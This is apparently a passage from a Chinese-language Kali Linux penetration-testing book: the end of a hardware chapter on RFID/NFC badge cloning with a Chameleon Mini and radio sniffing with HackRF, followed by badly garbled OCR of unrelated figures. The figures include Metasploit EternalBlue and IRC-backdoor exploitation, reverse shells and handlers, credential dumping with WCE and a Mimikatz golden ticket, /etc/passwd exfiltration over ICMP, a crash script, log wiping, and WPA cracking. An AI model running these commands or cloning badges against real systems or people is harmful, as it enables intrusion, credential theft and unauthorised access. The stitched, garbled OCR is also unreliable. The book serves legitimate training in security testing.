 如图14-17所示，我们可以通过运行socat-/dev/ttyACM0,crnl直接使用socat与串口通信。
 
 你需要准备好要克隆的卡。将要克隆的卡放在Chameleon Mini上，测试人员键入CLONE就完成了克隆，如图14-18所示。
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 图14-16　显示所有串行设备
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 图14-17　与串口通信
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 图14-18　利用Chameleon Mini实现克隆
 
 以下步骤可实现手动克隆：
 
 1.命令行
 
 （1）在Kali和设备之间建立串行端口通信后，键入HELP命令以显示Chameleon Mini的所有可用命令。
 
 （2）Chameleon Mini配有8个插槽，每个插槽都可作为独立的NFC卡使用。可以使用SETTINGS=命令设置插槽。例如，我们可以通过键入SETTINGS=2命令将插槽设置为2，它应该返回100：OK。
 
 （3）运行CONFIG？查看当前配置。新设备应返回以下内容：
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 2.下一步是使读卡器进入“reader”模式。这可以通过键入CONFIG=ISO14443A_READER来实现。
 
 3.现在我们可以将需要克隆的卡放在读卡器上，并输入Identify命令。
 
 4.确定卡的类型后，现在你可以使用CONFIG命令进行配置。在本例中，卡的类型是MIFARE Classic1K，因此我们将运行CONFIG=MF_CLASSIC_1K。
 
 5.配置完成后，可以从卡中窃取UID，然后通过运行UID=CARD NUMBER添加到Chameleon Mini，如图14-19所示。
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 图14-19　添加UID到Chameleon Mini
 
 6.现在我们已经准备好使用Chameleon Mini作为克隆的卡。
 
 7.渗透测试人员还可以预先对此进行编程，以便在移动时使用设备随附的两个按钮来执行克隆任务。例如，在社会工程学攻击期间，当测试人员与受害者公司的员工交谈时，他们可以点击按钮并克隆身份卡（NFC）。这可以通过以下命令执行：
 
 ·LBUTTON=CLONE：设置为单击左侧按钮实现卡片克隆。
 
 ·RBUTTON=CYCLE_SETTINGS：设置为单击右键旋转插槽。例如，如果将CARD A克隆到了插槽1，并且你想要克隆另一张卡，可以通过单击右侧按钮移动插槽（例如，移动到插槽2）。然后，你可以继续单击左侧按钮克隆另一张CARD B。
 
 其他工具
 
 还有其他工具，如HackRF One（一个软件定义的无线电）也可以被渗透测试人员用来执行任何类型的无线电嗅探或信号传输，甚至重放捕获的无线电数据包。
 
 我们将举一个在Kali Linux中使用HackRF One SDR嗅探无线电频率的简单示例。HackRF库已在Kali Linux预安装。测试人员应该能够通过从终端运行hackrf_info来识别设备。如果设备被识别，你应该能够看到以下屏幕截图（图14-20），其中包含固件、部件ID等详细信息。
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 图14-20　运行hackrf_info识别设备
 
 测试者可以利用kalibrate工具扫描任何GSM基站。可以从https://github.com/scateu/kalibrate-hackrf下载此工具，并使用以下命令构建：
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 安装完成后，kal可用于扫描任何特定频段或监视频率，如图14-21所示。
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 图14-21　利用kal扫描基站
 
 如果测试人员在现场评估期间能够识别外围设备的类型，并发现该公司正在使用某些易受攻击的硬件，那么测试人员可以使用Crazyradio PA，这是一种远程2.4 GHz USB无线电加密狗，可以通过无线信号将负载发送到任何具有漏洞设备的计算机上。
 

  14.6　小结


  在本章中，我们快速了解了基本的嵌入式系统及其架构，并了解了不同类型的固件、引导加载程序、UART、无线电嗅探以及可在硬件黑客攻击期间使用的常用工具。我们还学习了如何使用USBJtag NT解包固件并在路由器上加载新固件，我们探索了如何使用RouterSploit识别嵌入式设备中的特定漏洞。最后，我们学习了如何使用Chameleon Mini克隆物理RFID/NFC卡，这可以在红队训练中使用。


  我们希望本书能够帮助你了解基本风险，以及攻击者如何使用这些工具在几秒钟内入侵网络和设备，了解如何使用相同的工具和技术来了解架构漏洞，以及在基础架构受到攻击之前进行修复和更新补丁的重要性。

OEBPS/Images/171-i.jpg
<!DOCTYPE foo [ <!ENTITY Variable "hello®™ >
)><somexml><message>&Variable; </message></somexml>





OEBPS/Images/11b8.jpg
we iR

waic desktop gt

RO AL B L R

wmic logon get authenticationpackage

W

wmic process get captionexecutablepath,
comnand1ine

PR

\mic process where names-process_name’ call
torninate

SR

mic o5 gt name, servicepackmajorversion

RO R

mic product get name, version

B BRI

waic product where name-‘namer
uninstall/nointeractive

call

SRR 4L






OEBPS/Images/299-3-i.jpg
meterpreter> reboot





OEBPS/Images/13t39.jpg
[Zootekali:~/exti1/DETS python det.py -f /etc/passwd -p icap - -/conrig-sample.3son
[2017-06-13.09:35:57) CTRIAC to kill DET

[2017-06-13.09:35:57] Launching thread for file /etc/passwd
(2017-06-13.09:35:57] Using icap as transport method
[2017-06-13.0 [!] Registering packet for the file
(2017-06-13.0 [icap) Sending 84 bytes with IO packet
[2017-06-13.0 Sleeping for 10 seconds
[2017-06-13.09:36:07] Using icup as transport method
[2017-06-13.09:36:07) [icap] Sending 936 bytes with ICHP packst
[2017-06-13.09:36:07) Sleeping for 6 seconds
[2017-06-13.09:36:13] Using icmp as transport method
[2017-06-13.09:36:13] [1cap] Sending 1056 bytes with IO packet
[2017-06-13.09:36:13) Sleeping for 2 seconds

[2017-06-13.0 Using icap as transport method
(2017-06-13. [icxp] Sending 832 bytes with IOMP packat
[2017-06-13. Sleeping for 5 seconds

[2017-06-13 Using icsp as transport method
[2017-06-13.09:36:20] [1cap) Sending 152 bytes with IGHP packet
[2017-06-13.09:36:20)

[2017-06-13.09:36:23)

(2017-06-13.09:36:23)

o
o
o
o






OEBPS/Images/9t24.jpg
rootAkali:~# ssh R 2210:localkost:22 -p 22 rootd166.62.126.169
Tha authenticity of hort '166.62.176.169 (166.67.126.169) can't ba axtablished.
ECDSA key £ingorprint is SHA2SE:QuOLSFeMiutTojeaTslgeadut] | OXKIN2ALaxT/0q)

Ara you sure you want to contimue comnecting (yes/no)? yos

Warning: Permanantly added '166.62.126.169' (KCDSA) to tha list of known hosts
Toot#166.63.126.169vs passvord:

Walooma to Ubuntu 1510 (GNU/Linux 4.2.0-0425tab120.16 x86_64)

* Documentation: https://help.ubuntu.oom/
Last login: Fri bec 28 06:44:39 2018 from 212.161.9.187

Footds166-62-126-169:~4 sah -p 2210 localhost

Tha authenticity of host '[localhost]:2210 ([127.0.0.1]:2210)* can't ba astablis
hod

ECDSA key fingerprint is SEA256:0050s1PanRKANE ) imExAKIOTIOYN/ TVNROT6+ PPy
Aro you sure you want to contimua connecting (yes/no)? yos

Warning: Permancntly added ' [localhost]:2210 (BECDSA) to the 1ist of known bosts

Foot8localbost's password:

0
NN
PO <

ANV

Lisux kali 4.15.0-Xali2-and64 #1 S Dabian 4.15.11-1kalll (2018-03-21) x86 64

he prograns included with the Kali GNU/Linux system are froe softuare;
the axact distribution terms for each program are dascribed in tha
individual £ilos in /usc/sharo/doo/e/copyright

Kali GNU/Linux comos with ABSOLUTELY No WARRANTY, to tha axtent
parmi tLod by app] tcable Lav.
Tast login: Pl Deo 20 08:20:48 2018 from 192.168.1.9






OEBPS/Images/262-2-i.jpg
CTSLIRAETENG D Rty ASE P ROE TIL_SERSOIAEEata S e SO T
22d3b435b51404eensdibi35h51 404ee: 602bcs03335d51 £71d913c245435b80b ~~sam






OEBPS/Images/9t32.jpg
meterpreter > upload /root/chap09/test.psl
[*] uploading : /root/chap09/test.psl —> c:/windows/temp

[*] uploaded : /root/chap09/test.psl —> c:/windows/temp\test.psl
meterpreter > shell

Process 7316 created.

Channel 2 created.

Microsoft Windows [Version 10.0.17134.472]

(c) 2018 Microsoft Corporation. All rights reserved.

C: \WINDOWS\ system32>powershell -ep bypass
powershell -ep bypass

Windows Powershell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> powershell c:\windows\temp\test.psl
powershell c:\windows\temp\test.psl






OEBPS/Images/14t7.jpg
A

|
|
|
|
I

\
/
11

Exploitation Framework for
Enbedded Devices

Codename  : I Knew You Were Trouble
version 3.4.0

Homepage : https://www.threatd.con - @threatnine
Join Slack : https://www. threats. con/slack

Join Threats Beta Progran - https://ww.threat9. con
Exploits: 130 Scanners: 4 Creds: 171 Generic: 4 Payloads
£f > use scanners/autopun

CSf (AutoPun) > set target 192.168.1.8

[+] target => 192.168.1.5

£t (AutoPun) > run

[*] Running modute. .

[*] Starting vulnerablity check

32 Encoders

6






OEBPS/Images/12t22.jpg
mst exploit (multi/handler) > exploit

(%] started reverse

handler on 192.160.1.125:443

[*] Sending stage (206403 bytes) to 192.168.1.115

[*] Meterproter session 1 opened (192.168.1.125:443 —> 192.168.1.115:50145) at 2
019-01-03 17:03:58 +0000






OEBPS/Images/184-i.jpg
UBE: QAPLOIC /TLLLA/ BCEAPS /WEH. G LAVEEY
set SRVHOST <your IP>

set target 2

set payload windows/meterpreter/reverse_http
set LHOST <your IP>

set URIPATH boom

set payload

exploit





OEBPS/Images/1t24.jpg
Applcations = Places » &) Teminal » Sun 1626
root@lali /mot/hgfs/ll_share

Fie Edt Vew Seach Terminal Help

# cd Desktop/.

/besktop# s
mount-shared-folders. sh
rootekali:~/Desktop# sh mount-shared-folders.sh
[i] Mounting kali_share (/mnt/hgfs/kali_share)
rootgkali:~/Desktop# cd /mnt/hgfs/kali share/
rootgkali:/nnt/hgfs/kali_share# ls

7601.17514.101119-1850_x64fre_server_eval_en-us-GRHSXEVAL_EN_DVD. iso





OEBPS/Images/9t16.jpg
* Verification Stage *

Info: Shellter will verify that the first instruction of the
injected code will be reached successfully
I polymorphac code has been added, then the first
instruction refers to that and not to the effective
payload
Max waiting time: 10 seconds

Warning!
the PE target spawns a child process of it

reaching the injection point, then the inject

be sxecuted in that process. In that casa Shelltar won't

have any control over it during this

You know what you are doing, right? ;o)

Injection: Verifisd!

[Enter] to co






OEBPS/Images/1t16.jpg
pomc| M- BHD

Applcatons + Places v ] Teminal =

Fle Edt_View Search Teminal Help
# adduser noroot
Adding user “noroot"
Adding new group ‘noroot' (1008)
Adding new user ‘noroot' (1006) with group ‘noroot'
Creating home directory °/home/noroot’
Copying files from '/etc/skel’
Enter new UNIX password
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for noroot
Enter the new value, or press ENTER for the default
Full Name []: notarootaccount
Room Number []: 5787
Work Phone []: 447089744647
Home Phone []: 447089744647
other []: 007
Is the infornation correct? [¥/n] Y
i~






OEBPS/Images/12t30.jpg
(Fmpice: powershell/managenent/enable _cdp) > run
(5] Hodule is not opsec safe, run? (/K] ¥

[+] Tasked ERBFGRAD to run TASK_CMD WATT

[+] Agenc ERBFEHAD tasked with Task ID 1

[] Tasked agent ERBFGHAU to run module powershell/management/enable rdp

(Espire: powershell/managenent/enable_rdp) > (] Agent ERBFEHAU recurned results

The operation complered successfully.

[+] Valid results revurned by 192.160.1.101






OEBPS/Images/2t2.jpg
Searching
Searching
Searching
Searching
Searching
Searching
Searching
Searching
Searching
Searching
Searching

D

-1
=]
-1
=
=1
=1
=1
=1
=]
kst
=l
-1
-1

blog. cyberh:
demo . cyberh:

)
/o

LT () i
(=N !
11D 1 =
(S 4 ISR ==

# Coded By Ahmed Aboul-Ela - @aboul3la

now
now
now
now
now
now
now
now
now

in
in
in
in
in
in
in
in
in

Enumerating subdomains now for cyberhia.com

Baidu.
Yahoo. .

Google. .

Bing. .

Ask..

Netcraft. .
DNSdumpster. .
Virustotal.
ThreatCrowd. .

SSL Certificates..
PassiveDNS.

Total Unique Subdomains Found: 3
.cyberhia.com






OEBPS/Images/4t22.jpg
Creemore Sty st - vt coo
5 GreroneSecumyA_ = |+

€ 08 onron . < J[a sox a0 s ao =
08 ek S Frms \esorsr

 scan Configs (8 of 8)

n

n

o ws o BEO0

A o st st oty ety coluciad ooy & B 430 0 BBOO

oot sy ot et o G o O BECU

@ @ O 8sg0






OEBPS/Images/6t34.jpg





OEBPS/Images/227-i.jpg
msf > workspace -h

Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ...  Add workspace(s)
workspace -d [name] ...  Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old><new> Rename workspace
workspace -h Show this help information

msf > workspace -a ThirdEdition
[*] Added workspace: ThirdEdition
msf > workspace
default
ThirdEdition
*clientl (* indicates the workspace that you are connected)






OEBPS/Images/1t32.jpg
10

Notfications: 0_| Workspace staus: 1 host, 3 servces, 0 wilnerabiities. _ Actve workspace: hack | _Conlcts: 0






OEBPS/Images/12t14.jpg





OEBPS/Images/040-i.jpg
#!/bin/bash
echo "Enter target domain:
then

echo "Target domain set to Sdomain®
prragiutstctrummtteriothivssrsruereTaueTeIION

echo "The Harvestor® theharvester -d $domain -1 500 -b all -f
harvester_sdomain echo "done!"

oria sttt rontR oo DI e

" read domain if [[ $domain t= "% ]];

echo "Whois Details" whois $domain >> whois_$domain

echo "done!"

Goho SrereREREEERR R R

echo "Searching for txt files on Sdomain using Goofile..." goofile
Sdomain ~f txt >> goofile_txt_Sdomain

echo "done!"

P P

echo "Searching for pdf files on $Sdomain using Goofile..." goofile
$domain -f pdf >> goofile_pdf_Sdomain

echo *done!™

Qoo FRaEerEE R A

echo "Searching for pdf files on Sdomain using Goofile..." goofile
$domain ~f doc >> goofile_doc_$domain

echo *done!™

Goho FEerereReA SIS AR

echo "Searching for pdf files on $domain using Goofile..." goofile
sdomain -f xls >> goofile_xls_Sdomain

echo "done!™ else echo "Error! Please enter a domain...

1
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Commix -url=http://YourIP/mutillidae/index.php
popupnotificationcode=5LSspage=dns-lookup.php —
data="target_host=INJECT_HERE" -header:
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[1] Conflicting processes: Networkianager (PID 560), wpa supplicant (PID 708), dhelient (PID 2568)
111 1¢ you have problens: KILL -9 PID or re-run witite with --kill)

Interface PV Driver chipset
“ian phye iutuiri Intel Corporation wireless 7265 (rev 39)
Lot Bhy2 rizsoousd Ralink Technology, Corp. RT2770

4] select wireless interface (1-2)
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C:\> del SWINDIR%\*.log /a/s/q/f
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root@kali:~# weevely generate <password> <path>
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st > db_nmap -vv -5V -pl-65535 192.168.0.16 —save
1 Starting Nmap 7.70 ( https://nmap.org ) at

5] NSE: Loaded 43 scripts for scanning.

] Initiating ARP Ping Scan at 18:05

] *Failed to resolve “Target®.'

1] Scanning 192.168.0.16 [1 port]

111 Comploted ARP Ping Scan at 18:05, 0.155 elapsed (1 total hosts)
1] Initiating Parallel DNS resolution of 1 host. at 10:05

] Completed Parallel DNS resolution of 1 host. at 18:05, 0.055 elapsed

111 Initiating SYN Stealth Scan at 18:05

5] *Failed to resolvo "Target®.'
[*] Nmap: Scanning 192.160.0.16 [65535 ports]

11 Discovered open port 80/tcp on 192.168.0.16
] biscovered open port 445/tcp on 192.168.0.16
[*] Nmap: Discovered open port 22/tcp on 192.168.0.16
[*] nmap: Discovered open port 3306/tcp on 192.160,0.16






OEBPS/Images/14t18.jpg
root@kali:~# socat - /dev/ttyACMO,crnl
HELP
101:0K WITH TEXT
VERSION, CONFIG, UID, READONLY , UPLOAD, DOWNLOAD,
EN, LEDRED, LOGMODE, LOGMEM, LOGDOWNLOAD, LOGSTOR
, GETUID, DUMP_MFU, IDENTIFY, TIMEOUT , THRESHOLD,
CLONE
101:0K WITH TEXT
Cloned OK!
UID?
101:0K WITH TEXT
i3
CONFIG?
101:0K WITH TEXT
MF_CLASSIC_ 1K
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# fping -g 192.168.0.1/24
.1 1s alive

121 1s alive

118 1s alive

110 1s alive

113 1s alive

1100 1s alive
1200 13 alive
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
Unreachable from
unreachable from

4
a
3
3
2
i3
6
6
5
5
Jo
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(#) Requestto ntpnis2 1680 12080

POST /mucillidae/index.php?page=login.php HTTP/1.1

lHost: 192.168.0.120

Content-Lengeh: §5

Cache-Control: max-age=0

origin: huep://192.166.0.120

[Upgrade-Insecure-Requests: 1

[User-Agent: Mozilla/5.0 (Windows NT 6.1; WinG4; x64) AppleWebKis
Content-Type: application/x-ww-form-urlencoded

Accept: text/htal,application/xhtmltxml,application/xal;q=0.9,i:
Referer: http://192.168.0.120/mucillidae/index. php?page=1login. p
Accept-Language: en-US,en;
Cookie: showhints=1; PHPSESSID=njedOolgZfta7mséltllSrraj?
Connection: close

lusername=427¢password=427&login-php-submit-button=Login
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Certificate invalid or not present, please choice

[1] Create a SSL certificate

[2] search for SSl certificate
[3] Exit

-
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for database: 'mutillidse

5] (INFO] fotched data logged to text Files under '/xoot/.sqlaap/output/192.168.0.101

(+1 shutting down at 17:54:20
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Beterpreter > Upl0ad /o0L/chiapll/uee. exe
[*] uploading : /root/chapll/uce.cxe —> uco.cxe

[*] Uploaded 212.00 KiB of 212.00 Kin (100.08) ¢ /root/chapll/uce.exe —> uce.
[*] uploaded  : /root/chapll/Wce.exe -> wee.oxe

metorpreter > shell

Process 4464 created.

Channel 4 created.

Microsoft Windows (Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. A1l rights reserved

C:\Windows\systemizswce -u
WCE v1.47bota (X64) (Windows Credentials Kditor) - (c) 2010-2013 Amplia

com)
Use -h for help.

hd_server\METASPLOTTABLES: D@r}33110g

METASPLOTTABLESS\MASTERING:0 (_codK/YaY) bnd91K305G585-g1u/uFFvamy-~+5341Cv (CE273

15 ()9Hix] u>, 2RX1QSV6: Byt
Vagrant\METASFLOITABLE ST vagrant
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maf axploit (windous/amb/ms1] 010 eternalblue) > set rhost 192.160.0.1
st exploi (vindows,/smb/ms1_010_cternalblue) > set Ihost 192.160.0.2¢
. Cxplol? (vindous/m/ms1?_010_eternalblue) > st Tport 443
Thare 4t

xplott (windowssm/ms17_010_sternslblue) > explost

e e o ;
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use exploits/routers/dlink/dir_300_320_615_auth_pass

run
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GNU nano

Bep_seq 1 new

order random
print
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Elopsed: 48 5 1 2019-01-09 17:25 1 inverted sorting order

PWR Beacons  #Data, #/s CH MO ENC_CIPHER AUTH ESSID
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Bss10 sTaTIOn Lost  Frames probe
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# firefox www.whatismyip.com
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Use a listed payload or custom? (L/C/H):

Select payload by index: 3

KRR KKK KRR KRR KKK

* meterpreter_reverse_https *
R KRR KRR KKK KRR K KKK KKk

SET LHOST: 192.168.1.102

SET LPORT: 5544

KKK KKK KKK

* Payload Info *

KRR KKK KKK KKK KKK

Payload: meterpreter_reverse_https
Size: 345 bytes

Reflective Loader: NO

5






OEBPS/Images/1t25.jpg
"

Now  Sanngs oy
Kali Linux
> Running

é | metasploitable3_win...
% Running

o7 Metasploitable3-ubi
2 Running

= General
Name: Kali Linux
Operating System: Debian (64-bit)
1 system

Base Memory: 2048 MB

Processors: 4

Boot Order:  Floppy, Optical, Hard
Disk

Acceleration:  VT-x/AMD-V, Nested
Paging, PAE/NX, KVM
Paravirtualization

= Ppreview
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[mst exploit (multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.125:443
[*] Sending stage (206403 bytes) to 192.168.1.115
[*] Meterpreter session 1 opened (192.168.1.125:443 —> 192.1

meterpreter > sessions
Usage: sessions <id>

Interact with a different session Id.
This works the same as calling this from the MSF shell: sess

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
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root@kali:~# airodump-ng wlanOmon
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kali@linux:~./ t Evasion -p 29 --ordnance-payload rev_https
192.168.1.7 --port 443 -o Outfile
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BuTTI\Users atas 5153254
fault, Enabled group

T AUTRORTTT\DFFERACTIVE Well-known

fault, Enabled group

consate zocon

£ault, Enabled group

T AUTHORITI\Muthentdcated Users

£ault, Enabled group

T AUTHORITY\TMs Organization Well-known growp 5-1-5-15
£aule, Enabled group

T AUTHORITI\Local account Well-known growp 5-1-5-113
fault, Enabled group

T AUTHORITY\TIM Authentication el known growp 5-1-5-64-10
gant, Enanied g
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[2] *Capture Handshake*

Status handshake:

[1]
[2]
[3]
[4]
#>

Check handshake

Back

Select another network
Exit
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root@kali:~# macchanger wlan0
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Cyver Lab.(6208) WA Mandshake captre: Discovered new client

Gyber Lab (62b) WoA Handahake capture: Discovered new client

Cyver Lab (6208) WpA Mandshake capture: Discovered new client

Cyper Lab (6248) WPA Mandshake capture: Discovered new client

Cyver Lab (6246) Wph Handehake captre: Discovered new client

Cyper Lab (62d8) WrA Mandshake capture: Discovered new client

Cyber Lab (6508) Woh Handehake capture: Discovered new client

Cyer Lab (650b) W94 Mandshake copture: Discovered new client

Cyper Lab (65d8) WrA Handshake capture: Discovered new client

Cyver Lab (6648) WeA Handshoke capture: Discovered new client
Saving copy of handshake to hs/handshake. CyberLab_ FO-70-68-44-61-EA 2019-01-11TI1-48-11.cap

analysis of captured handshake file:
Dyrit: cap file doss not contain o valid handsnake

Cracking WPA Handshake: Running atrerack-ng vith MEISPRTTRETTRZENTAEIE o1t
Cracking WPA Handshake: 04.33% ETA: 03 6 5252.3kps. (current key: tppence)

Access point wame: Cyver Lab
Access Point SSSI0: FO:7D:8:44:61:EA
Handshake File: hs/handshake CyberLab FO-70-6-44-61-EA 2019-01-11TI1-45-11.cap
PEK (pasaword): Letnen 01
saved rack reslt to cracked.txt (1 totsl)
Finished attacking 1 target(s), exiting
| 75" 5isable hanitor Nede uhen finished: sirmon:ng stop wlanison
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net user normaluser PasswOrdl2 /add /domain





OEBPS/Images/1t15.jpg
™ rerminal +

each _Terminal_Helg
rootakali:—# passwd root

Enter new UNIX password:
Retype new UNIX password

passwd: password updated successfully
rootakali:-# ||
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root@kaliz-4 msidb init
(4] patabase already started
[+] Creating database user 'mat*
{+] Creating databases *mst*

[+] Creating databases 'msf test!

[4+] Creating configuration file */usr/share/metasploit-frasework/config/database.yal®
[+] creating initial database schema






OEBPS/Images/243-i.jpg
AHPODL SORKSL.
1P = raw_input ("enter the IP to crash:")

PORT = 9999

s = socket.socket (socket .AF_INET, socket.SOCK_STREAM)
s.connect ((IP, PORT) )

banner = s.recv(1024)

print (banner)

command = "TRUN "

header = *|/.:/"

buffer = 2" * 10000

s.send (command + header + buffer)

print ("server dead")
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dpkg -i Nessus-8.1.2-debian6_amd64.deb
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# nano /etc/network/interfaces
iface eth0 inet dhcp
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View Search Terminal_Help
08 19:33:20,268

faraday. launcher - INFO - Setting up icons for GTK int

Faraday 27.2

il

Create New Workspace

Mhere e no workspaces avalable. You must create one to continue using Faraday

Name

Description:

vatid

ound
flounc

hosts, 0 senvies, O wiinerabilties. | Conflcts: 0
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msf exploit (bypassuac) > sessions —i 2
7] Starting interaction with 2...

meterpreter > getsystem
~..got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell

Process 1332 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. ALl rights reserved.

C:\Windows\systen32>whoant.
whoami.
nt authority\systes
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xootkali ~d aizeplay-og =9 wisanbuon
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nmap --script smb-enum-users.nse -p445 <host>
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ssh -R 2210:localhost:443 -p 443 remotehacker@ExternalIPtoTunnel
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rootekali:~f ./massnmao.sh ipran.txt
Iam trying 1o create a store to dusp now hangon

alright Tets fire masscan 44+

Starting masscan 1.0.3 (Nttp://bit.ly/14GZzcT) at 2017-03-05 08:29:25 GHT
forced options: -sS -Pn -n —randomize-hosts -v —send-eth
Initiating SYN Stealth Scan
ing 256 hosts [65536 ports/host]
3.69-kpps, 0.67% done,  0:55:45 remaining, found-1
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kerberos: :golden /admin:Administrator /domai:
/5id:DOMAINSID /krbtgt :KRBTGTPASSHORDHASH /ptt

METASPLOITABLE3 /id:ACCOUNTID
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pc
ter mmnlm\vaqxant's password:
ient §> enumdomains

: [METASPLOITABLE3] idx:[0x0]

ser: [Administrator] rid:[0x1f4]
er: [anakin_skywalker] rid:[0x3£3]
artoo_detoo] rid:[0x3ef]

er: [ben_kenobi] rid:[0x3£1]

ex: [boba_fett] rid:[0x3£6]
chewbacca] rid:[0x3£9]
c_three pio] rid:[0x3£0]

ser: [darth vader] rid:[0x3f£2]
greedo] rid:[0x3£8]

Guest] rid: [0x1£5]

han_solo] rid:[0x3eel
jabba_hutt] rid:[0x3£7]
jarjar binks] rid:[0x3£4]
kylo_ren] rid:[0x3fal

lando calrissian] rid:[0x3£5]
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st exploit (unix/irc/unreal_ircd 3281 backdoor) > set rhost 192.168.0.16
Fhost > 192.168.0.16

st cxploit (inix/irc/unreal_ircd 3281 backdoor) > set payload cmd/unix/roverse
payload —> cnd/unix/reverse

st cxploit (unix/irc/unreal_ircd 3201 backdoor) > set Ihost 192.168.0.24

Thost -> 192.168.0.24

mstexploit (unix/irc/unzeal_ircd 3201 backdoor) > set lport 6697

Tport = 6697

st exploit (unix/irc/unreal ircd 3261 backdoor) > exploit

Started reverse TCP double handler on 192.168.0.24:6697

192.160.0.16:6697 — Connected to 192.168.0.16:6697.

+iré.TestIRC.not NOTICE AUTH :*** Looking up your hostname,

192.168.0.16:6697 - Sending backdoor command.

Accépted the first client conncction...

Accepted the second client connection.

Command: echo DTUS03IRIXOMest;

Writing to socket A

Writing to socket B

Reading from sockets. ..

Roading from socket A
DTUSa03iBIXOMeSB\ L\

Matching.

B is inpat.

hostnane
[notasploi tanies-ub1a0s

wnoani

boba_fett

Linux motasploitable3-ubl404 3.13.0-24-generic #6-Ubuntu SMP Thu Apr 10 19:11:00)
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WL [AEC/CAEgec L
mount /dev/sda2 /mnt/targetl
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Zootékali:~# mmap -p 80 —-5Cript http-vaf-detect.nse wvimetemmm i

00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan

ore  save sEvice

0/tcp open nttp

| http-war-detect: IDS/IPS/NAP detected:

| et 80/ 7p4710443=<sript>alert (document . cookle) </script>

map done: 1 1p adaress (1 host up) scanned in 45.61 seconds
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root@kali:~# airodump-ng wlanOmon
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xoot@kali:~f tshark -i 1 -V -w traffic_out
Running as user "root" and group "root. This could be dangerous.
tshark: Iua: Error during loading:

[string "/usr/share/wireshark/init.lua"]:44: dofile has been disable
viki.wireshark.org/Capturesetup/Captureprivileges for help in running
Capturing on ‘eth0’

“CPrame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Interface id: 0 (eth0)
Encapsulation type: Ethernet (1)
Arrival Time: Jun 12, 2017 01:50:34.755237399 EDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1497246634.755237399 seconds
[Time delta from previous captured frame: 0.000000000 seconds]
[Time delta from previous displayed frame: 0.000000000 seconds]
[Tine since reference or first frame: 0.000000000 seconds]
S —
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ragroute

Usage: fragroute [-f file] dst

Rule

delay first|last|random <ms>

drop first|last|random <prob-%>

dup first|last|random <prob-%>

echo <string>

ip chaff dup|opt|<ttl>

ip_frag <size> [old|new]

ip_opt lsrr|ssrr <ptr> <ip-addr> ...
ip ttl <ttl>

ip_tos <tos>

order random|reverse

print

tcp_chaff cksum|null|paws|rexmit|seq|syn|<ttl>
tcp_opt mss|wscale <size>

tcp seg <size> [old|new]
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rootekaliz~# airmon-ng start wland

JFound 4 processes that could cause trouble.
i1l then using ‘airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
jand sometines putting the interface back in managed mode

PID Name
536 NetworkManager
597 wpa_supplicant
1614 dhelient
1704 dhclient

Py Interface oriver Chipset

wlanemon il Intel Corporation Wireless 7265 (rev 99)
wlanl rt2800usb Ralink Technology, Corp. RT2778
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msf > use exploit/multi/handler
Rmsf exploit(handler) > set lhost 192.168.0.137
Thost => 192.168.0.137

msf exploit(handler) > set lport 44
N

mst exploit(handler) > set payload windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse_tcp
mst exploit (handler) > exploit

[*] Started reverse TCP handler on 192.168.0.137:4444
[*] Starting the payload handler...
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Logn Resut.

Configure Maltego

Ready..et...G0!
Your new Maltego clien has been itz
You can read the fullUser Guide
Youare now ready to use Maltego!
Open a blark graph andlet me piay round
Open an example arash

Go away. I have done this before!
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(kmpire: powershell/code execution/invoke dllinjection) > set DL C:\Users\a
(impiro: powerahel1/code execution/ invoke a1l injection) > run

[%)' Tasked ZASATALL to ron TASK OHD_WAT

[%] Agent ZASATXIL tasked with task ID 5

[+] Tasked agent 2ASATXLL ko run module pavershell/cods_sxecution/invoke_dllinjection
Uhmpi ro: powerehel 1/code_ execution/snvoke d11injection > (1] Agont ZASITELL returned rosults.
ysten:biagnostics. Processaiodle. (injectas.dll)

[%] Valid rosults roturnod by 192.168.1.115
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staxting enumdlinux v0.8.5 ( hetp://labs.portcullis.co.uk/application/emumdlinue
/)" on sun sep 30 16:20:29 2018

192.160.0.16
500-550,1000-1080

kabigt, domatn adains, root, bin

Enumerating Workgroup/Domatn on 152,168

[ ————————

Looking wp status of 152.168
e o B ACTIVE, Messenges Service
moTy e B QCTIVES File Server Service

_ MSBROWSE__. <01> - <GROUP> B ACTIVE> Master Browser
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Local devices and resources

Choose the devices and resources on this computer that you wart to
use in your remote session.

[¥] Smart cards
Ports

& [ Drives
Local Disk (C)

o
i
o

Drives that | plug in later
Other supported Plug and Play (PnP) devices






OEBPS/Images/11b6.jpg
23 i
mpire_exee VU2 7 Empie RESTRIAPLJF LS 1501 8 O o028, AR b LIRGT
Shellinject ] PowerSploi 1 Invoke: Shellcode.ps1 BEABIPFLEA shellcode, AT AR shll (C73

rundl32_exee

T 132 1 Windows 5103 JavaScript 61 2VER1 107

5 mimikaty DA TIBT oI mimikinen 1 BLIE MU DA T BRI B

1 COM AL

num_chrome

I PowerSploi ) Invoke Mimikat ps1 B8 04 Google Chrome MILES 0805

okens AU PowerSploi ) Invoke:TokenManipulrion B4 4B oken
mimikate T PowerSploi ) nvoke Mimikat ps1 B A1 00FER 01
powerview LU PowerView (7IE, W10 MM
] PowerSploi 1 avoke-ReflctveP Enjecton sl . 1 - A/Z13 DLL 1% EXE & . 1
s B
[— AT AR, T ELEOR 5 4 e token, JFBLOIER1. JF HLI&% woken AT TER
s exe §6fl. OTHI TR
metinject I PowerSploi 1 Invoke Shellcode ps1 B4 Meterpete sager, JHEIGEARITT

cvene bypass

U eventvwrexe LI UAC TR RTTo &





OEBPS/Images/016-i.jpg
broadcast <broadcast mask>
gateway <default gateway>

# nano /etc/resolv.conf
nameserver <your DNS ip> or <Google DNS (8.8.8.8)>
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rootekali:~# reaver -1 wlanl -b C0:05:C2:62:85:61 -wv

caver v1.6.5 WiFi Protected Setup Attack Tool
